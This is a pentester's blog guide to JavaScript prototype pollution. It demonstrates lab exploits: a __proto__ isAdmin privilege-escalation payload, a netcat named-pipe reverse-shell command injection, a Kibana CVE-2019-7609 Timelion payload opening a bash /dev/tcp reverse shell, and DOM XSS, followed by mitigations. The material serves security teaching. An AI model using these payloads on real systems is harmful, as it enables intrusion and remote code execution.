PTAAS EXCHANGE
If you missed the PtaaS Exchange in person, join us virtually to learn how to improve your security program in 2023.

A Pentester’s Guide to Prototype Pollution Attacks

Core Pentester Harsh Bothra guides us through prototype pollution attacks in his latest blog. This covers a security vulnerability that allows attackers to exploit JavaScript runtimes.

Prototype pollution is a security vulnerability that allows attackers to exploit JavaScript runtimes. In this attack, the attacker injects properties into existing JavaScript construct prototypes to manipulate the application.

Before diving into the different attack scenarios, let’s understand how the prototype pollution came into the picture.

To maintain compatibility between web pages across web browsers, the ECMA (European Computer Manufacturers Association) released a new specification, ECMAScript 2015, 6th Edition. The specification standardizes the __proto__ feature, a unique attribute related to an object's prototypes. This attribute is present in all JavaScript objects, and __proto__ is specified as an object. A technique that lets JavaScript objects inherit features from one to the next is called a "prototype."

When an attacker manipulates  __proto__, generally by adding a new Prototype, this is called "Prototype Pollution." Because __proto__ exists for every Object and every Object inherits Prototypes from its Prototype, this addition is inherited by all JavaScript Objects via the prototype chain. Attackers can use the ability to add properties to JavaScript code that is already in use to carry out Remote Code Execution attacks or Denial of Service attacks by invoking JavaScript exceptions or by inserting malicious script.

Understanding Prototype Pollution with an Example

Let’s understand the above statement with the help of an example: 

  1. Consider an object - JavaScript snippet in the console:

> A = {x: 678, __proto__: {toString: () => console.log('Fired!')}}

{ x: 678 }

> A + ''

Fired!

'undefined'

In the above code, there is an object that has its Prototype and changes the way the toString property works.

Since we are already injecting __proto__ itself, there is no direct code execution in this instance; instead, the object merely gains a new property. However, a denial of service (DOS) attack might still be produced by replacing some methods with non-function values, such as "toString: 456."

  1.  In this scenario, the program enables the modification of an existing prototype.

const firstObject = {};

const secondObject = {};

// ...

firstObject[INSECURE_NAME] = INSECURE_VALUE;

// ...

if (secondObject.isAdmin) {

    // do some sensitive stuff

}

Controlling INSECURE_NAME and INSECURE_VALUE allows  us to change not only firstObject but also the prototype of all other objects, which has the effect of changing secondObject.isAdminEnabled to true:

INSECURE_NAME = '__proto__';

INSECURE_VALUE = {isAdmin: 'true'};

Now that we have more understanding about the Prototype Pollution attacks, let’s see the attack in action: 

 

Privilege Escalation via Prototype pollution:

We are using Prototype Pollution Lab for this example. Please refer to README for installation steps.

To perform the attack, follow the below steps: 

  1. Once the lab is installed, navigate to the vulnerable application and log in with provided credentials.

  1. The application has a URL downloader mechanism but does not allow a guest user to access this feature.

 

  1. Open the routes.js file to analyze the source code.
  2. Observe the value set to the admin account:

    "isAdmin":true

  1. Observe the admin/check_url and note that checkLogin and checkAdmin functions are responsible for granting or denying access to the users that called/accessed the route (the route used to download the URL).

  1. Navigate to the admin/check_url controller and observe that the developer has implemented a security log feature, defined as the securityLog function.

When a guest user tries to call this API, this function gets triggered.

  1. Navigate to the function code and observe it using the node.extend function to concatenate two different JSON into the log variable, which will be logged with the console.log function.

  1. The node.extend function is vulnerable to Prototype Pollution, which can lead to the credentials DB pollution, allowing bypassing of the checkAdmin function.

  2. To trigger the securityLog function, send the following payload as an unauthenticated user to the admin/check_url route.

{

  "__proto__":{

    "isAdmin":true

  }

}

The payload will allow administrative permission by polluting the guest credentials.

Before pollution:

{"username":"guest", "password":"pass123", "cookie": "' + crypto.randomBytes(64).toString("hex") + '"}

After pollution:

{"username":"guest", "password":"pass123", "cookie": "' + crypto.randomBytes(64).toString("hex") + '", "isAdmin":true}

  1. In Burpsuite, send the POST request to the admin/check_url route with the above-mentioned payload and modify the content type as Content-Type: application/json. Also, remove the value of the admin_session cookie.

  1. Navigate to the URL downloader section and observe that we have successfully bypassed the checkAdmin function.

 

Reverse shell via Command Injection:

After gaining administrative access, we can perform a command injection attack. To perform the attack, follow the below steps: 

  1. Navigate to the route.js file and note that after the administrative check, which used the exec function, which makes a  command execution that passes the given URL(from the request body) to the command without arguments scaping.

  1. Start the listener on any port with netcat for a reverse shell.

  2. Insert the following payload in the URL parameter:

;`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f` #

Note: The semicolon; is used to break/separate the wget command.

  1. Send the POST request to admin/check_url with payload to gain a reverse shell.

DOM XSS via Prototype Pollution using the DOM Invader 

This lab is vulnerable to DOM XSS via prototype pollution. To perform the attack, follow the steps below: 

  1. Find a source to add arbitrary properties to the global Object.prototype.

  2. Identify a gadget property that allows to execution of arbitrary JavaScript.

  3. Combine these to call alert().

We will use a tool called DOM Invader to exploit the vulnerability. DOM Invader is a browser-based tool for testing DOM XSS vulnerabilities using multiple sources and sinks, such as web messages and prototype pollution vectors. It is only accessible through Burp's built-in browser, where the extension is preinstalled. DOM Invader adds a new tab to the browser's DevTools panel when enabled.

To perform the attack, follow the below steps:

  1. Open the Burpsuite. Navigate to the Proxy > Intercept and click on Open browser.

  2. Once the browser is open, Click on the top right extension.

  3. Open the DOM Invader and turn on the following options to test for prototype pollution:

  • DOM Invader

  • Prototype pollution 

  1. Reload the browser after updating the settings.

  2. Open the vulnerable lab application and navigate to the inspect elements.

  3. Under the inspect elements, open the DOM Invader tab.

  4. Observe the prototype pollution alert and start the scan for gadgets.

  1. Once you start the scan, it will open a new window and shows the result. 

  1. The result shows that the application is vulnerable. On that same window, navigate to the inspect element and open the DOM Invader tab.

  1. Click on exploit to perform the XSS attack.



Remote Code Execution in Kibana via Prototype Pollution [CVE-2019-7609]

Kibana versions <5.3.13 >=6.4.0 <6.4.3  are vulnerable to arbitrary code execution flaws in the Timelion visualizer. 

An attacker accessing the Timelion application could send a request attempting to execute arbitrary JavaScript code. This could lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

For the practical demonstration, visualize using this lab hosted by the Kibana instance.

  1. Navigate to port 5601 to access the Kibana dashboard.

 

  1. From the left panel, open the Timelion. In Timelion, we can write expressions to visualize data.

  1. Paste the following payload in Timelion.

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')

.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

This sets two environmental variables via prototype pollution and uses bash reverse shell.

  1. Start the Netcat listener on the specified port.

To exploit it, the code needs to be inserted in Timelion, and then Canvas needs to be opened (to spawn a new process).

  1. Run the payload in Timelion.

  1. Navigate to Canvas to get a reverse shell.

  1. We have exploited remote code execution successfully.

Since we have looked at multiple instances of identifying and exploiting Prototype Pollution attacks, let’s understand some of the required mitigation techniques. 

 

Mitigations

  • Almost all circumstances will be mitigated by Object.freeze. Freezing an Object prevents the addition of new Prototypes.

  • Implement security checks to avoid overwriting to __proto__ or other special properties of an object.

  • Use schema validation to ensure the JSON data contains the required properties. If the keyword __proto__ appears in the JSON, it will be removed.

  • The risk of prototype pollution can be reduced by creating objects without prototype properties, such as using Object.create(null). This avoids polluting the prototype chain.

 

References





Back to Blog
About Harsh Bothra
Harsh is a Security Engineer with expertise in the Web application, API, Android Application, Thick Client, and Network Pentesting. He has over 5+ years of experience in Cyber Security and Pentesting. He has authored multiple books on ethical hacking, presented at various security conferences, and is an active bug bounty hunter. More By Harsh Bothra
Pentester Spotlight: Arun
Arun has been a part of Cobalt's Core since April 2016. He is a big advocate of the Core's continuous learning and is a vocal member of the community.
Blog
May 24, 2022
Pentester Spotlight: Saad Nasir
Saad Nasir has been a member of the Cobalt Core for a little over six months. He has contributed to Cobalt's content pieces and was recently featured on the Hacker Corner podcast.
Blog
Dec 28, 2022
A Pentester’s Guide to Code Injection
Learn about code injection vulnerabilities with the Pentester’s Guide to Code Injection.
Blog
Jan 8, 2021